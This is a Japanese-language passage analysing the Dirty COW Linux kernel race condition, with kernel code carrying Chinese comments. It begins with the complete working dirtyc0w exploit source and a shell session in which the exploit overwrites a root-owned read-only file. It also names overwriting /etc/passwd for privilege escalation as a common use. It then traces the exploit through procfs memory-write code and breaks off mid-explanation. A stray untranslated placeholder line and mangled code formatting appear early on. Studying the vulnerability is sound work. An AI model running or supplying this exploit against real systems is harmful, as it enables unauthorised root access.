
void *map; int f; struct stat st; char *name;
void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }
void *procselfmemThread(void *arg) { char str; str = (char)arg;
int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }
int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
(空输入,无翻译内容)```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000
procselfmem -2094967296
madvise 0
$ cat flag.txt
aaaaaa
比較的よくある悪用方法は、権限昇格のために/etc/passwdを権限外で書き換えて root ユーザーを変更したり、ユーザー権限を変更したりすることです
まずは exp が何をしているのか見てみましょう```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }
pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
- まず pthread を呼び出して2つのスレッドを作成する
- 次に`fopen`で読み取り専用のターゲットファイル`argv[1]`を開く
- ファイルを`mmap`でメモリにマッピングする(アドレスはランダム)。`MAP_PRIVATE`は Task プライベートなメモリマッピングを確立するためのもので、別の Task がこのメモリに書き込もうとした場合、そのプロセスは書き込み前にまずコピーを作成してから書き込む。これにより、子プロセスやスレッドを生成する際にメモリ空間全体をコピーするための多大な時間や領域を費やさずに、Task 間の同時メモリ操作が互いに影響しないことを保証する。これが CopyOnWrite である
- その後2つのスレッドを起動し、1つは`madviseThread`を実行し、もう1つは`procselfmemThread`を実行する
次に、2つのスレッドの実行本体を見てみる
- 一方のスレッドはファイルマッピングに対して`madvise`を呼び出し、マッピングされたメモリまたは共有メモリの使用状況をカーネルに伝える。`MADV_DONTNEED`は、このメモリ領域を今後使用しないことを示し、カーネルはそれを解放できる
- もう一方のスレッドは読み書き権限で`/proc/self/mem`を開く。このファイルはプロセス自身の仮想メモリのファイルマッピングであり、ファイルにターゲット情報を書き込もうと繰り返し試みる```c
void *madviseThread(void *arg) {
char *str;
str = (char*)arg;
int i, c = 0;
for(i = 0; i < 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
void *procselfmemThread(void *arg) {
char *str;
str = (char*)arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 100000000; i++) {
lseek(f, (uintptr_t)map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n\n", c);
}
最終的に、2つのスレッドによる連続的な攻撃によりカーネルに競合脆弱性が発生し、procselfmemThreadが読み取り専用ファイルへの書き込みに成功した
mmapはvma上にメモリマッピングを確立するだけであり、マッピングしたファイルを実際に物理ページフレームに配置するわけではない。そのため、初めてwriteを試みると必ずページフォールト例外が発生する。writeから分析を始める。ファイルに対するすべての操作は、そのファイルが存在するファイルシステムがVFSに登録している仮想テーブルfile_operationsを経由する。そして/proc上のファイルはprocfsによって実装されている。proc_mem_operationsを見つけると、writeがmem_writeにバインドされていることがわかる。```c
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};
`mem_write`は`mem_rw`のラッパー(`write`フラグを1に設定)であり、`mem_rw`の主な流れは以下の通りです。
- 最初に`__get_free_page`で一時的な空きページをバッファとして確保する
- 書き込み操作の場合、`copy_from_user`を呼び出して書き込むデータを一時ページにコピーする
- 次に`access_remote_vm`で対象データを空きページに読み込む(読み取り)か、バッファの内容を対象アドレスに書き込む(書き込み)
- ここで言うremoteとは、自プロセスが他のプロセスのメモリマップドファイルを読み書きする可能性があるためであり、つまりプロセスが他のプロセスのアドレス空間にアクセスする可能性があることを意味する。この点は他のmemory filesystemとは異なる
- 読み取り操作の場合、前の手順で空きページに読み込んだデータをユーザーのバッファに書き戻す```c
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
struct mm_struct *mm = file->private_data;
unsigned long addr = *ppos;
ssize_t copied;
char *page;
if (!mm)
return 0;
page = (char *)__get_free_page(GFP_TEMPORARY); // 申请临时空闲页面
if (!page)
return -ENOMEM;
copied = 0;
if (!atomic_inc_not_zero(&mm->mm_users))
goto free;
while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE); // 本次读取/写入数据长度,单次最大为PAGE_SIZE
if (write && copy_from_user(page, buf, this_len)) { // 若是写操作,从用户空间拷贝待写数据到临时空闲页面
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, write); // 读取/写入数据到临时空闲页面
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
if (!write && copy_to_user(buf, page, this_len)) { // 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
copied = -EFAULT;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
}
*ppos = addr;
mmput(mm);
free:
free_page((unsigned long) page); // 释放临时空闲页面
return copied;
}
access_remote_vmは__access_remote_vmのラッパーであり、主なフローは以下の通りです。
get_user_pagesによってアドレスaddrが属するpage structを取得する
取得が成功した場合、kmapを呼び出してpageをカーネルのhigh memoryにマッピングする(pageが指すのは物理ページ)
メモリアクセスが書き込み操作の場合はデータを書き込んでダーティフラグをセットし、読み取り操作の場合はデータを読み込むだけである```c static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm, unsigned long addr, void *buf, int len, int write) { struct vm_area_struct *vma; void *old_buf = buf;
down_read(&mm->mmap_sem); /* ignore errors, just check how much was successfully transferred */ while (len) { int bytes, ret, offset; void *maddr; struct page *page = NULL;
ret = get_user_pages(tsk, mm, addr, 1, // 获取addr对应的page
write, 1, &page, &vma);
if (ret <= 0) { // 获取失败
#ifndef CONFIG_HAVE_IOREMAP_PROT break; #else /* * Check if this is a VM_IO | VM_PFNMAP VMA, which * we can access using slightly different code. */ vma = find_vma(mm, addr); if (!vma || vma->vm_start > addr) break; if (vma->vm_ops && vma->vm_ops->access) ret = vma->vm_ops->access(vma, addr, buf, len, write); if (ret <= 0) break; bytes = ret; #endif } else { // 获取成功 bytes = len; offset = addr & (PAGE_SIZE-1); if (bytes > PAGE_SIZE-offset) bytes = PAGE_SIZE-offset;
maddr = kmap(page); // 映射page到内核空间,因为我们获取的是page结构体,需要映射到一个虚拟地址之后才能进行写入
if (write) { // 如果是写操作
copy_to_user_page(vma, page, addr, // 将buf的数据拷贝到page中,完成写入
maddr + offset, buf, bytes);
set_page_dirty_lock(page); // 设置页面为脏页
} else { // 如果是读操作
copy_from_user_page(vma, page, addr,
buf, maddr + offset, bytes);
}
kunmap(page);
page_cache_release(page);
}
len -= bytes;
buf += bytes;
addr += bytes;
}
up_read(&mm->mmap_sem);
return buf - old_buf;
}
##### __get_user_pages
以上で procfs の読み書き操作の概要を説明しました。次に `get_user_pages` から始めます。
`get_user_pages` は `__get_user_pages_locked` のラッパーであり、後者は実際のロジック本体である `__get_user_pages` を呼び出します。その流れは以下の通りです: